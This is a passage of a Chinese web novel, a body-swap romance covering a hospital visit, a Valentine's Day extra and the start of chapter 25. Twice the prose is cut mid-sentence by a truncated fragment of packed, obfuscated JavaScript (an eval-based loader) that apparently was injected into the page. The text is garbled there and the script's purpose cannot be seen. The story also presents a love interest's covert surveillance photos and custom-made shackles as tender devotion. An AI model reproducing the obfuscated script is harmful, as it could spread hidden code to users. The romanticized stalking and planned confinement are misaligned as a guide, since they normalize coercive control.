“可是什么可是,”祈愿已经迈开步子,回头看他,“我们都认识一个月了,你怎么就没从我这里学到点叛逆?” 他朝沈恪伸出手。 “走,我们绕上去。” 沈恪看着那只手,顿了一秒,握住。 祈愿的手心是潮的。 *** 推开病房门的时候,温清然正靠在床上刷手机。 他听见动静头都没抬:“你们速度真慢。” 祈愿没理他。 他的视线落在那张属于沈恪的脸上。 病床上的少年半靠着枕头,身上是蓝白条纹的病号服,领口微敞,露出一截纤细苍白的脖颈。皮肤是长期不见阳光的瓷白,隐隐透着底下青色的血管。五官清隽柔和,像株被风雨打过的白梅,清瘦苍白,弱得让人心疼,却又干净得不染尘埃。 只是那双眼睛,此刻正带着毫不掩饰的嫌弃,上上下下打量着祈愿。 “瞧你这出息。”温清然用沈恪的嗓音说。 祈愿的脸憋红了。 不是害羞,是憋屈。 沈恪站在祈愿身后,视线越过他的肩头,安静地看着床上那个人。 那是他的脸。他的身体。他在病房里躺了好些年的躯壳。 他往前走了一步。 温清然察觉到他的动作,偏过头躲开了。 沈恪的手悬在半空。 停顿两秒,他慢慢收回,垂在身侧。 “……温清然。”他开口,声音比平时更轻,“我们是来找你的。” 温清然把视线从手机屏幕挪到他脸上,没说话。 沈恪迎着他的目光,问:“你为什么不想换回来?” “因为没享受够啊。”温清然用着理所应当的语气回道。 “反倒是你,”他顿了顿,似笑非笑,“我想不通。对你来说换不回来不是好事吗?” “你可以享受健康,享受有钱人的生活,你也不需要担心你身体那些小秘密……” “一点也不好!” 沈恪的声音骤然拔高。 温清然的话被打断在喉咙里。 沈恪死死咬着下唇,他低着头,肩膀微微颤抖,声音闷在胸腔里,却字字清晰。 “一点也不好。我想换回来。我想回到我父母身边。” 他顿了一下。 “求你了。” 那三个字太轻,轻到几乎是从唇缝里挤出来的。 温清然沉默了几秒。 然后他啧了一声,移开视线,不耐烦地挥挥手:“行了,你出去。祈狗留下来,我俩唠唠。” 沈恪没动。 祈愿轻轻推了一下他的后背:“我马上出来找你。” 沈恪这才回过神。他把手里拎着的蛋糕盒子放在窗台上,塑料底座磕在大理石台面,发出很轻的一声。 “生日快乐。” 他对“自己”说道。 说完,他没有再看床上的温清然,也没有再看祈愿,只是低着头,转身走出了病房。 门在他身后轻轻合上。 他在走廊的长椅上坐下来,把手插进外套口袋,望着对面墙壁上贴着的消防安全示意图。 病房里隐约传来祈愿的声音,隔着一道门,听不真切。 *** “搞集贸啊,”温清然用沈恪的脸翻了个白眼,“你刚那副痴汉样子是要恶心兄弟?” 他伸手在祈愿背上重重一拍,“你不是说你铁直男吗?” 祈愿被拍得往前踉跄一步,回过神来,直接骂了回去:“那他妈你顶着这张脸说这种粗俗的屁话,谁能习惯得了啊!” “一个一个他妈,到底谁粗俗。”温清然说,“那乖乖仔可不会喜欢你这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“谁能确定呢。”温清然耸耸肩,语气像在讨论一件无关紧要的事,“我总不能去问他本人吧?我现在还是挺惜命的。” 他顿了顿,又补了一句:“早知道最开始就该听你的,不该招惹这个疯子的。” 祈愿沉默了很久。 “……所以你是为了保命?” “是也不是。” “没跟你在玩海龟汤。” 温清然往床头靠了靠,后脑勺抵着冰凉的墙壁。他没有看祈愿,视线落在窗外。 “还有个原因。”他说。 祈愿等着。 “那乖乖仔挺有意思的。”温清然的嘴角勾了一下,语气里带着点恶劣的玩味,“只要我一天不换回去,他就得求我一天。” 他偏过头,看着祈愿,笑容里有种让人想揍他的坦诚:“真好玩。” 祈愿忍了忍,没骂他。 温清然看着祈愿,发现对方没什么反应,只觉得无趣,收了那副吊儿郎当的表情。 “还有个事。” 祈愿等着。 “那乖乖仔……”温清然顿了顿,像是在组织语言,又像是在确认什么。 “他也是死过一次的人。” 祈愿的呼吸滞了一瞬。 “什么意思?” “这具身体做过心脏手术。”温清然的声音很轻,“结果失败了。” “心脏骤停,就在手术台上。电击,按压,肾上腺素推了三支。” 他抬起眼,看着祈愿。 “我为什么会知道?因为我醒来的时候,就在这具身体里。” “他的身体。” 温清然用沈恪的嗓音,说出这句话。 “我来的时间点医生已经宣布结果了,他爸妈在外头都哭炸了。然后我醒了,躺在这张床上,听着医生护士说奇迹发生了。” “而他,我是说那个乖乖仔。他在那个瞬间不知道去了哪里,也许就是在那时,我们进行的互换。” 祈愿没说话。 他听见自己的心跳声,一下,一下,沉重地撞在耳膜上。 温清然收回视线,重新靠回床头。他没有看祈愿,只是望着天花板,声音恢复了那副漫不经心的腔调。 “所以他才那么怕。” “怕占用的是不该占用的东西,怕醒来发现自己又回到那个病了十八年的壳子里,怕这一切……” 他笑了一下,没什么温度。 “都是偷来的。” 祈愿在椅子上坐了很久。 久到窗外的天光又暗了几分,久到走廊里传来护士换班的脚步声。 他没有问温清然为什么要告诉他这些。 他只是站起身。 “行,走了,放假了再来找你。” 温清然没应声。 祈愿走到门口,手搭在门把手上,温清然却忽然开口。 “他叫沈恪。” “谢了。” 然后祈愿拉开门,走出去。 走廊里的冷空气涌进来。沈恪还坐在长椅上,听见动静,抬起头看着他。 那双眼睛有些红,但没哭。 祈愿把手插回口袋,没有说话,只是往电梯的方向偏了偏头。 沈恪站起来,跟在他身后。 他们并肩走着,脚步声一前一后,落在寂静的走廊里。 电梯门打开,两个人走进去,门合上。 数字一格一格往下跳。 祈愿忽然开口。 “温清然那个王八蛋,”他说,“不是因为你才不换回来的。” 沈恪侧过头看他。 祈愿盯着楼层显示屏,没有对上他的视线。 “他怕白越。” 沈恪愣住了。 电梯抵达一层。 门打开,门厅的白炽灯光涌进来,刺得人眼睛疼。 祈愿迈出电梯,走了两步,又停下来。 没有回头。 “你……”他的声音顿了一下,像是不知道该怎么开口。 他攥了攥垂在身侧的手。有些话在喉咙口转了几圈,最后只变成了: “……有事给我打电话。” 语气还是硬邦邦的,但好像又多了一点什么。 可能是一点他自己可能都没意识到的东西。 然后他大步走向门口,推开玻璃门,走进傍晚清冷的空气里。 24. 情人节番外[番外] 沈恪起了个大早。 他蹑手蹑脚地关上门偷溜出来,生怕被隔壁的白越发现。虽然白越的作息一向比他规律,但这个点应该还在睡着吧?沈恪一边穿鞋一边想,脸上已经不自觉地开始发热。 昨天他在手机上偷偷搜了好久:“给男朋友送什么情人节礼物比较好”“第一次过情人节需要注意什么”“如何讨对象欢心”…… 搜索结果五花八门,有人说送巧克力,有人说送实用点的,有人说陪伴一天就行,还有人说直接转账最实在。沈恪一条条看下来,脸越来越红,最后咬着牙下定决心:送花。 对,送花。 就送花。 土,但至少不会出错。 尽管他现在的身份有点尴尬,顶着温清然的脸,继承了温清然的男朋友,但心意总归是自己的。 心意不会有错。 沈恪在玄关镜子前站定,看着镜子里那张陌生又熟悉的脸,忍不住叹了口气。温清然这人长得确实不错,五官精致,气质温润,难怪当初能骗到白越。但沈恪每次照镜子都觉得别扭,赶紧移开视线。 他深吸一口气,给自己打气:买完就回来,回来就送花,送完就快撤。 不会有问题的。 沈恪,买束花庆祝节日而已,这么小的事情,你能做到。 *** 手机导航显示,附近有家评价不错的花店,步行二十分钟。 沈恪推开门,早春的风还带着凉意,但他揣着那颗扑通扑通跳的心,竟觉得浑身暖洋洋的。 花店比想象中要大,推门进去就是满眼的玫瑰,红粉黄白,挤挤挨挨地开着,香气扑面而来。沈恪一下子有点懵,站在原地手足无措。 “欢迎光临!是要送人吗?”店员小姑娘热情地迎上来,“今天情人节,我们店有特别套餐哦,红玫瑰配巧克力,超级浪漫的!” 沈恪的脸腾地红了:“我、我就看看……” “给对象买的吧?”小姑娘笑嘻嘻的,一副过来人的样子,“不用害羞,今天好多男孩子来买花呢!” 沈恪耳尖都在发烫,支支吾吾说不出话。小姑娘善解人意地没再追问,只指了指玫瑰区:“慢慢挑,有需要叫我。” 沈恪点点头,一头扎进玫瑰丛里。 红玫瑰太直白了……粉玫瑰好像更温柔一点?但是粉玫瑰也好好看。他纠结得眉头都快拧在一起,手机掏出来又放回去,想再查查花语,又觉得自己这样太蠢。 要不……干脆问问百度?送人玫瑰应该送什么品种的? 可那不是显得他更蠢了嘛! 正纠结着,门口的风铃响了。 “欢迎光临,请问您有什么需要的?” 沈恪听到店员的声音,下意识抬头看去。 然后就愣在了原地。 是白越。 白越就站在门口,穿着一件米白色的毛衣,头发柔软地搭在额前,正抬眼看向他这边。 沈恪的脑袋嗡地一下炸开了。 他怎么在这儿?他不是应该在睡觉吗?他怎么会来花店? 一连串的问号砸下来,沈恪攥紧了手里刚挑好的那束粉玫瑰,整个人僵成了一根木头。 白越却像是并不意外,微微弯了弯眼睛,走过来:“好巧,宝宝。” 沈恪听着那个“宝宝”,心跳漏了一拍,愣愣地点头:“啊……嗯,好、好巧……” “你也来买花?”白越的目光落在他手里那束玫瑰上,然后又移开,语气自然,就好像他真的只是单纯路过一下。 沈恪心跳快得像打鼓,慌乱地把花往身后藏,欲盖弥彰:“我、我就是随便看看,这个是,这个好看,所以就拿起来看了一下……” “哦。”白越笑了笑,没戳穿他。 这时店员小姑娘凑了过来,看看沈恪,又看看白越,眼睛一下子亮了:“两位帅哥一起的呀?哎呀好巧!今天情人节,两位是不是互相送花呀?” 沈恪的耳根红得要滴血:“不是,我们……” “太浪漫了吧!”小姑娘根本听不进去,自顾自地兴奋起来,“刚好我们店今天搞活动,情侣买花打八折!这位先生手里的粉玫瑰就很适合送人呀,温柔又好看,另一位先生要不要也挑一束?” 白越看了沈恪一眼,眼神柔和得不像话:“我不用挑。” “啊?” “他手里的就很好了,宝宝挑的我都喜欢。” 沈恪:!!! 他感觉自己的脸已经烧起来了,烧得都快冒烟了。白越怎么又叫他宝宝?还是在陌生人面前?这也太…… 小姑娘在旁边起哄:“哇哦~好甜啊!那先生,这束花就直接送给这位先生吗?” 沈恪手足无措,手里的花被白越轻轻接了过去。 “是送我的吗?”白越低头看了看那束花,然后又抬头看他,眼睛里像是盛着一汪春水,温柔得能把人溺死。 沈恪脑子一片空白,只知道点头:“嗯……送、送你的……” 白越笑了。 “谢谢。”白越说,声音轻轻的,“这是我第二次收到花呢。” 沈恪愣了一下。 白越垂着眼,手指轻轻抚过花瓣,像是随口一提,语气里又带着点藏起来了的低落:“除了去年国庆宝宝送了一次以外,这是第二次。” 去年国庆? 沈恪想起来了,那时候他和白越认识才一个月不到,自己顶着温清然的壳子把他一个人丢下了去A市找温清然,白越来找自己的时候自己好像是送过一束花,一束红豆。 这居然只是白越第二次收到别人的花吗? 总感觉……有点点可怜。 白越抬起头,看着沈恪,眼睛亮亮的,像盛着光:“宝宝,谢谢你。” 沈恪的心软得一塌糊涂,一时间忘了思考什么去年国庆今年情人节,什么第一次第二次,只知道点头:“不、不客气……” 从花店出来的时候,沈恪的脑子还是懵的。 他跟在白越身后,看着对方抱着那束粉玫瑰走在前面,莫名其妙地又想捂脸。 这都什么事啊…… “上车吧。”白越停在车旁,回头看他,“我买了菜,回去给宝宝做饭。” 沈恪这才注意到白越另一只手里拎着个购物袋,鼓鼓囊囊的,隐约能看见青菜和肉的包装。他愣了一下:“你什么时候买的菜?” “来的路上。”白越说得自然,“想着既然要出来,就顺便买了。” 沈恪哦了一声,坐进副驾驶。 车子发动后,他偷偷瞄了白越一眼。白越单手握着方向盘,脸上还是那副温和的表情,看不出什么异常。那束玫瑰被他放在了后座,安安静静地躺着。 沈恪收回视线,心里那点异样的感觉又浮了上来。 怎么说呢……总觉得好像有哪里不太对劲,好像有点太巧了。 但又说不上来。 而且其实也挺合理的嘛,毕竟附近就这一家花店评分高。 ……不对,等一下。 沈恪忽然想起一件事—— 白越今天来花店,应该也是要买花的吧? 他下意识又转过头去看白越,张了张嘴,想问“你本来打算买什么花”,话到嘴边又咽了回去。 人家都没买成,还问这个干嘛…… 但那个念头一旦冒出来就压不下去。沈恪忍不住开始脑补:如果自己没有撞见白越,白越会挑一束什么样的花?红玫瑰?粉玫瑰?还是别的什么? 会送给谁呢…… 当然是送给自己啊,笨蛋。 他心里有个声音小声嘀咕。 沈恪耳根又开始发烫,赶紧把脸转向窗外。 *** 白越做饭很好吃。 这是沈恪这段时间最大的发现。明明长着一副十指不沾阳春水的外表,但白越往灶台前一站,整个人气质都不一样了,动作行云流水,切菜炒菜有模有样。换成沈恪自己,做饭就是一场灾难。 所以当白越说“回去给宝宝做饭”的时候,沈恪心里其实是期待的。 进了门,白越把花插进花瓶,摆在客厅最显眼的位置,然后拎着菜进了厨房。沈恪跟过去,站在门口问:“需要帮忙吗?” “不用。”白越正在系围裙,“宝宝去坐着就好。” 沈恪没动。 他靠在门框上,看着白越在厨房里忙碌。水龙头哗哗地响,白越低头洗菜,侧脸的线条被灯光勾勒得很柔和,沈恪有一瞬间的恍惚。 就好像他真的是自己的男朋友一样,而不是温清然的男朋友。 “看什么?”白越突然抬头,正好对上他的视线。 沈恪慌忙移开眼:“没、没什么……” 白越轻轻笑了一声,没再说什么。 沈恪耳根发烫,却没有走开。 菜下了锅,油烟机嗡嗡地响起来。白越翻炒的动作很利落,厨房里渐渐飘出香味。沈恪闻着那股味道,肚子很应景地叫了一声。 “饿了?”白越问。 “有一点……” “马上就好。”白越把火关小,盖上锅盖焖了一会儿,然后转过身来。 沈恪以为他要说什么,等了等,却发现白越只是看着他。 厨房里只剩下油烟机的声音和锅里的咕嘟声。白越的目光很专注,像是看着什么重要的东西。 沈恪被看得有些不自在,正准备开口问怎么了,白越忽然笑了。 “宝宝,你知道情人节有一个传说吗?” 他的声音很轻,像是在说什么秘密。 沈恪愣了愣,被勾起了好奇心:“是什么?” 白越没说话,只是看着他笑。 沈恪:? 他等了几秒,见白越还是不开口,忍不住追问:“到底是什么啊?” 白越的笑意更深了。他往前走了半步,离沈恪更近了些,然后缓缓开口:“据说,在情人节和我对视超过十秒的人……” 他顿了顿。 “会发对象。” 沈恪的脑子当机了两秒。 等反应过来这句话的意思,他的脸轰地一下红了。 “等等……”他结结巴巴地开口,“你、你据谁说的……” 话还没说完,手就被握住了。 白越的手指穿过他的指缝,与他十指相扣。那个动作太自然了,自然到沈恪甚至忘了挣扎。 “据我说。” 白越的声音轻轻的,带着笑意,就在他耳边。 沈恪抬起头,对上白越的眼睛。 油烟机还在嗡嗡地响,锅里的菜咕嘟咕嘟冒着热气,窗外的阳光斜斜地照进来,在地上拉出两道长长的影子。 沈恪的心跳得很厉害,扑通扑通的,像要从嗓子眼里蹦出来。 他不知道现在对视了多久,十秒有没有到,他只看见白越的眼睛里映着自己的影子。 然后他发现,白越的脸也红了。 一小抹红是从耳根蔓延上来的,一点点染开,藏都藏不住。 沈恪忽然就不紧张了。 他眨眨眼,小声说:“你的脸红了。” 白越愣了一下,然后笑了,笑容里难得露出一丝窘迫:“还不是怪宝宝。” “怪我什么?” “怪宝宝害羞的样子太好看了。” 沈恪:…… 沈恪:!!! 这下轮到他脸红了,红得比刚才还厉害,连脖子都染上了粉色。 他想把手抽回来,但白越握得很紧,没有要放开的意思。 “菜要糊了。”沈恪憋了半天,憋出这么一句。 白越没动,只是看着他,眼里带着笑:“糊了可以再做。” “那、那也不能……” “宝宝。”白越忽然叫他。 沈恪停下挣扎。 “我喜欢你。” 白越说得很轻,轻得像随口一说,。但他的眼神很认真,认真到沈恪移不开眼。 沈恪张了张嘴,想说点什么,却发现自己嗓子眼发紧,一个字都憋不出来。 白越等着他,没有催促。 油烟机嗡嗡地响着,锅里的咕嘟声渐渐小了。阳光又移了一点,照在沈恪的脚边。 过了很久,久到白越以为等不到回答了,沈恪才开了口。 “……我也是。” 声音小得很,但白越听见了。 他笑起来,一双狐狸眼睛弯成好看的弧度,然后低下头,在沈恪的手背上轻轻落下一个吻。 沈恪觉得自己的脸快要比烧着火的锅都烫了。 偏偏白越还要火上浇油,抬起头看着他,用那种温柔得能溺死人的语气问:“所以,现在对视够十秒了吗?” 沈恪瞪他,却发现自己根本凶不起来,只能小声嘟囔:“……够了。” “那发对象的事呢?” “……你都已经牵着了。” 白越笑起来,笑得很开心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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临走的时候,白越递给他一个精致的纸袋。 “情人节礼物。”他说,“回去再拆。” 沈恪愣了一下,接过来:“那你的呢?你不是已经收到花了……” “花是花,礼物是礼物。”白越笑着凑过来,在他额头上轻轻印下一个吻,“宝宝送的我很喜欢,但我也要给宝宝准备礼物啊。” 沈恪的脸又红了。 抱着纸袋回到房间,沈恪坐在床上小心翼翼地拆开包装。 是一条围巾。 手工织的,针脚不算特别整齐,但能看出织的人很用心。米白色的,软软的,带着淡淡的香味。 好像是白越常用的那款洗衣液的香气。 里面还有一张卡片。 “给宝宝织的第一个冬天。希望以后每个冬天都能陪在宝宝身边。 白越。” 沈恪盯着那张卡片看了很久,然后把围巾抱在怀里,嘴角忍不住翘起来。 而在隔壁的别墅里,白越关上门,脸上的温柔笑容慢慢褪去。 他走进卧室,抬手按亮了灯。 整个房间的墙壁上,满满当当贴着的全是照片。 沈恪还在住院时的照片。 有他瘦削的,苍白的,安静地躺在床上睡着的样子;坐在院子里晒太阳的样子,阳光落在他没什么血色的侧脸上;低头看书的样子,睫毛在眼睑下投出一小片阴影;医护人员拍到他笑的样子,弯着眼睛,很乖很乖。 照片层层叠叠,几乎铺满了整面墙。从床头到窗边,从衣柜到门后,每一张都是同一个人,同一个角度不同,神情不同,但都带着那种干净易碎的气息。 白越站在门口看了一会儿,目光从一张照片慢慢移到另一张,像是在数着什么珍贵的收藏。 然后他从抽屉深处取出一个小盒子,打开。 里面是一副精致的镣铐。 银色的链条,内衬软皮上刻着“BY”,他自己名字的缩写。材质选的好,不会伤到皮肤,也足够坚固。尺寸是他专门定制的,按照沈恪的手腕和脚腕。 至于量尺寸的时候? 是去年国庆,那时候沈恪喝醉了,他趁着人醉酒量了个大概。 他量的是温清然那副身体的手腕。毕竟沈恪还困在那个壳子里,他需要的,是先锁住那具暂时属于沈恪的躯壳。 而现在这副镣铐,是专门为沈恪自己做的。 按照体检单上他原本身体的尺寸。 白越拿起软尺,量了量镣铐的内径,又抬头看向墙上那张照片。是找了人去到医院,趁着“沈恪”睡着时拍的,一只手搭在枕边,露出细瘦的腕骨。 “还差一点点。”他轻声说,像是在对照片里的人说话。 他拿起工具,开始调整。 窗外的夜色很深,隔壁别墅的灯还亮着,隐约能看见沈恪在客厅里走来走去的影子。白越抬起头,看着那个方向,眼神温柔。 他想做这样的事情很久了。 久到记不清是从哪一天开始的。或许是第一次看见沈恪冲他笑的时候,或许是第一次发现沈恪出门超过两个小时没回来的时候,又或许只是某个普通的下午,他看着沈恪的背影消失在门口,心里忽然涌上一股难以忍受的空落。 他发现自己无法忍受对方的离开。 哪怕只是出门去很近的地方买个花,那几分钟的空缺都让他觉得难熬。 难熬到他几乎是后脚就开着车出了门。 他需要看见他。 越快越好,越近越好,越多越好。 他必须看见他。 白越垂下眼,手指轻轻抚过镣铐的内衬,感受着那层柔软的绒面,嘴角带着浅浅的笑。 房间里很安静,只有工具和金属碰撞的细微声响。墙上贴满了照片,层层叠叠的,全是同一个人。 窗外有烟花炸开的声音,远远的,像是有人在庆祝节日。 白越没在意。 他只是在想,下一次,要找个什么理由,让宝宝再多留一会儿。 不过不急。 他有的是时间。 隔壁的灯光全灭了。白越放下工具,走到窗边,看着那扇暗下去的窗户,轻轻笑了笑。 “情人节快乐,宝宝。” 他低声说。 晚安。 我的小鹌鹑。 25. 心脏骤停 “好痛苦。” “国庆结束了,好痛苦。” “又要上课了,好痛苦。” “今年没假了,好痛苦。” 十月八号的第一节课上,阶梯教室里哀声一片。 沈恪坐在靠窗的位置,听着周围此起彼伏的哀嚎,觉得有点新奇。在医院里从来没有假期结束这种说法,日子每天都是相同的,吃药、打吊瓶、护士查房,周而复始。原来正常人的生活,会因为假期结束而痛苦。 他忍不住抿着嘴笑了一下。 “我的假期就这样和男同一起飞走了。”祈愿瘫在沈恪右侧的座位上,整个人像被抽了骨头,脑袋歪着,眼神涣散,“好痛苦。” “哎你说这话我不能当做没听到啊。”安阳和顾云岚坐在后排,闻言,安阳一拳打在祈愿的背上,“光说我俩是吧,你自己就不是了?” “我是个屁我是,你滚瘪犊子,没事儿干就自己去找点史吃。” 祈愿怎么这么骂自己。 沈恪忍不住笑出声,转头看向左侧的白越。白越正低头帮他修订笔记,笔尖在纸页上轻轻划过。 “白越,”沈恪小声问,“假期结束啦,你会难过吗?” 白越抬起头,那双狐狸眼弯起来,笑得眉眼柔和:“不难过的。” 桌下,他的手悄悄探过来,抓住沈恪的手,十指穿过指缝,慢慢扣紧。 “在七天的假期里能见到宝宝,”他的声音很轻,只有两个人能听见,“我很开心呢。” 扑通。扑通。 心跳比脸上的温度更早出卖了他。沈恪先是听见自己的心跳声撞在耳膜上,然后才后知后觉地发现脸颊已经烫成一片。他想抽回手,却被对方更用力地握住,甚至还轻轻捏了捏他的指节,像是在把玩什么喜欢的东西。 他慌忙低下头,话都说不利索了,只不住地点头:“嗯、嗯啊!我、我也很开心。” 白越没再说话,只是看着他。从侧面看过去,沈恪的耳廓红得透亮,像是能滴出血来。 光是牵个手就这样了…… 白越眼底的笑意深了几分。他垂下眼,目光从两人交握的手慢慢移到沈恪红透的侧脸,最后落在那截暴露在领口外的后颈上。 想咬。想留下痕迹。想让所有人都知道这是他的人。 但他只是笑了笑,把那些念头压下去,若无其事地松开手。 不着急这一时。 *** 下课铃响的时候,沈恪的手还被白越握着。 那只手凉凉的,手指修长,骨节分明,此刻正穿过他的指缝,十指相扣,稳稳地放在他的膝盖上。就这个姿势维持了整整一节课。 沈恪已经忘了自己是怎么熬过来的。老师讲了什么,一个字都没听进去。他只记得自己的心跳,一下一下的,扑通扑通的,跳得又急又快。 “下课了。”他小声说,试着抽回手。 没抽动。 白越侧过头看他,眉眼弯起来,看着温温和和的:“嗯,我知道。” 直到了,那你倒是松手啊。 沈恪张了张嘴,没说出话。他能感觉到后排安阳和祈愿的目光,如钻木取火一般,带着一股非要钻出点火星子不可的韧劲,要在他俩的后背上烧出两个窟窿。 “那个……”他耳尖发烫,“被人看着……” 白越顺着他的视线往后瞥了一眼,然后迅速收回目光,甚至还轻轻捏了捏他的手指,语气理所当然:“让他们看。” 沈恪的脸更红了。 光天化日,世风日下,小情侣真是腻歪得要死。 最先看不下去了的是祈愿。他从后排站起来,把包往肩上一甩,路过他们时脚步顿了一下。垂眼看了看那两只还握在一起的手,又看了看沈恪红透的耳尖,嘴角扯了扯,只是淡淡地扔下一句:“啧。” 就这一个字,没了。然后他大步往门口走,擦过白越身侧时,眼神都没往那边偏一下。 安阳在后面笑得很大声,被顾云岚拖着出了教室。 沈恪恨不得把头埋进课桌里。 白越这才松开手,站起身,顺手把他拉起来:“走吧,宝宝,我送你回去。” *** 车停在温清然的别墅下时,天已经黑了。 夜晚的风有点凉,路灯把影子拉得很长。沈恪解开安全带,刚想推车门,手又被握住了。 他转过头,对上白越那双格外幽深的眼睛。 “宝宝。”白越叫他,声音轻轻的。 “怎、怎么了?”沈恪的心跳又开始不听话地乱跳。 白越没说话,只是看着他。然后他倾身过来。 沈恪的呼吸停了一瞬。 但那个吻没有落下来。白越只是用嘴唇轻轻碰了碰他的额头,一触即分。 “晚安。”他说,声音有点哑。 沈恪愣了两秒,才反应过来。“……晚、晚安。”他推开车门,几乎是逃下去的。 直到走进屋子里,他还能感觉到额头上那块皮肤的温度,像被烙了一下。 沈恪搓着发烫的脸,靠在门板上,心跳还没平复下来。 国庆回来之后,白越好像比以前更主动了。以前也会牵手,也会摸头,但不会一整节课都不松开。以前也会送他回来,但不会突然亲额头。 是因为自己把他一个人丢下的事情吗?那七天,自己在A市玩,他一个人在C市等。 一定是的。 沈恪揉了揉脸,觉得自己想通了。白越那么没有安全感,自己把他丢下那么久,他肯定是怕了,所以才想多确认一下。 对,就是这样。 他搓着脸往屋里走,耳朵还是红的。 直到温清然别墅的客厅大灯亮起,白越才收回目光,一脚油门下去,车子驶向了城北郊外。 *** 目标地是一栋有些年头的独栋别墅,建在半山腰,周围没什么人家。外墙的漆有些斑驳,院子里草木疯长,一看就是没人打理的样子。 白越把车停在门口,按了按喇叭。 没一会儿,一个男人从屋里出来,脚步有些蹒跚,但脊背挺得很直。是王叔,在这家干了三十多年的老管家。自从退了休,白越的父亲就把他安排到了这里照顾白母。 “少爷。”王叔走过来,微微躬身,“您要的东西准备好了。” 他从怀里取出两个牛皮纸文件袋,封口完好,一大一小,双手递了过来。 白越接过,没急着看,只是拿在手里掂了掂。 “我妈呢?”他问,语气很淡。 王叔摇了摇头:“夫人还是那样。” 白越顿了一下。 就一下。 他握着那两个文件袋,走进屋子,站在走廊尽头的那扇门前,停了很久。 门是老式的,漆面斑驳,但走廊里的壁灯是新换的暖光款,脚下的地毯也看得出定期保养的痕迹。 他推开门。 房间很大,比寻常人家的客厅还要宽敞些。角落里摆着一架三角钢琴,琴盖上落着一层薄薄的灰;靠墙是一整排书柜,各种精装书排列整齐;窗边还有一张贵妃榻,铺着柔软的羊毛毯子。 所有的桌角、柜角、床角,都包着厚厚的软胶。米白色的,和家具颜色很接近,不仔细看几乎注意不到,但摸上去是软的。 整个房间里,找不到任何一件可以伤人的东西。 床在房间最靠里的位置,是一张宽大的丝质大床。 床上躺着一个人。 一个穿着象牙白丝质睡袍的女人。 皮肤保养得很好,几乎没有皱纹,甚至还能看出年轻时姣好的轮廓。她很美,像是那种养尊处优、一辈子没吃过苦的美。 只是那双眼睛圆睁着,望着天花板上某处虚空,瞳孔没有焦距,像两汪枯井。 身形也是枯瘦的。丝质睡袍松松地裹着她,能看出底下单薄的骨架。锁骨突出,手腕细得像一折就断。她曾经应该是个丰腴的美人,现在却像被什么东西抽干了血肉,只剩下一副精致的皮囊,和那双空洞的眼睛。 白越在门口站了几秒,然后走进去。 他弯下腰,凑近了那张保养得当却毫无生气的脸。 “妈。”他轻声叫。 那双空洞的眼睛动了动,却依旧望着虚空,没有焦距,没有神采,什么也没有。 白越早就习惯了这种反应。 他拉过床边那把椅子,坐下来,和她并排。 房间里很静,只有墙上挂钟的秒针在走,一下,一下。 白越没有看她的脸。他望着窗外,开口道:“我遇见一个人。” 那双眼睛没有动。 “很乖,很软。”他的声音很轻,像在自言自语,“会脸红,会小声说话,会在我表现出可怜时抱着我,问这样有没有开心一点。” 他顿了顿,嘴角扬起笑容:“我想让他一直留在我身边。” 房间里只有秒针走动的声音。 白越没有再说话。他就那么坐着,不知道在想什么。 过了很久他站起身,转身往门口走。 身后忽然传来一个声音。嘶哑的,破碎的,像是很久没有开口说话的人硬生生挤出来的声音。 “你和你爸……” 白越的脚步顿住。 “……和你爷爷……” 那个声音在继续,很平静地控诉着。 “都是一样的怪物。” 白越站在原地,没有回头。 “你们根本不会爱人。” 那双空洞的眼睛,终于有了一点焦距。她看着那个背对着自己的背影,看着这个和自己留着相同血液的人,嘴唇颤抖着,一个字一个字地挤出来:“别折磨那好孩子了。” “放他走吧。” 房间里陷入死一样的寂静。 白越站在门口,背对着她,没有动。 “放不掉了。” 他推开门,走了出去。 *** 白越回到自己住处时已经快晚上十点。 他去厨房倒了杯水,端着走到沙发前坐下,这才拿起那个稍小的文件袋,慢慢撕开封口。 里面是照片。 很厚的一叠照片,撕开封皮一看,照片的主人公全是沈恪。 第一张,是沈恪站在医院门口。阳光落在他脸上,他微微眯着眼,嘴角有一点很淡的笑意。黑色的头发有点乱,被风吹起来几缕。应该是刚入院的时候拍的,看起来也就十一二岁。 白越的视线在那张脸上停了几秒,然后把照片放到一边。 第二张,是在病房里。沈恪坐在床上,手里捧着一本书。书页摊开在膝盖上,他的头微微低着,像是在认真看,又像是在发呆。 第三张,是他在走廊上。穿着病号服,扶着墙边的扶手,一步一步往前走。旁边有个护士模样的女人,微微弯着腰,像是在鼓励他。 第四张,是他在做检查。躺在一台巨大的仪器里,只露出半张脸,眼睛闭着,嘴唇抿成一条线。 第五张,是他在过生日。病床边的小桌上放着一小块蛋糕,插着一根蜡烛。他对着镜头笑,笑得很乖。 白越一张一张看下去。 照片里的沈恪在长大。从十一二岁的瘦小孩子,慢慢长成十五六岁的少年。脸上的婴儿肥褪去,下颌线条渐渐清晰,个子也高了一些。 但眼神没有变。 永远是那种安静的、乖巧的、疲惫的,像是已经逐渐习惯了自己的病弱,逐渐习惯了苍白的生活,接受了这倒霉催的苦逼命运。 第六张,第七张,第八张…… 有一张是他在看书。书很厚,封面看不清。他的头微微歪着,靠在枕头上,阳光从窗外照进来。 有一张是他在输液。手背上有很多细小的针孔,输液管垂下来,透明的液体一滴一滴往下落。他看着窗外,不知道在想什么。 有一张是他睡着了。侧躺着,蜷成小小一团,被子盖到下巴。睫毛很长,在眼窝下投出扇形的阴影。嘴唇微微抿着,看起来很乖,很安静,很……脆弱。 白越的手指在那张照片上停了一下,然后翻到下一张。 这张看起来年纪更小一些。沈恪穿着校服,背着书包,站在学校的大门口,对着镜头笑,笑得比后面那些年都灿烂一些。 再下一张,是初中。校服换了,人也长高了些。但笑容已经淡了,嘴角只是微微弯着,像是在配合镜头。 再下一张…… 没有了。 后面的照片,全都是医院。 沈恪的校园生活,就只停在了初中。 白越把那叠照片看完,最后一张是最近的。十八岁的沈恪长开了,坐在病床上,不知道是拍照时遇见了什么还是怎么搞的,他一张脸都红透了,表情又羞又无奈,耳朵尖都泛着粉色。 他不知道该如何形容现在的心情。 